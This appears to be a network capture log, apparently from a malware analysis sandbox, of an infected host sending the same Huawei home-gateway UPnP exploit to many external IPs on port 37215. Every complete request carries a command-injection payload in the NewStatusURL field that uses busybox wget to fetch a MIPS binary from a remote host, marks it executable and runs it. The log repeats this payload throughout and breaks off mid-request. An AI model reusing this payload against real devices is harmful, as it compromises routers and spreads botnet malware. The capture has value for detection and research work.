Jun 10, 2024 15:38:02.849195957 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.13	40532	156.21.120.143	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.850205898 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.13	55572	197.81.50.55	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.851207018 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.13	34956	41.155.99.209	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.852405071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.13	37098	156.201.215.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.853487015 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.13	60760	41.101.217.26	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.854671001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.13	46888	41.147.198.198	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.856029987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.13	52206	41.31.52.172	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.857259989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.13	49962	197.135.181.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.858288050 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.13	55734	41.119.169.82	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.859446049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.13	44080	41.39.148.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.860486984 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 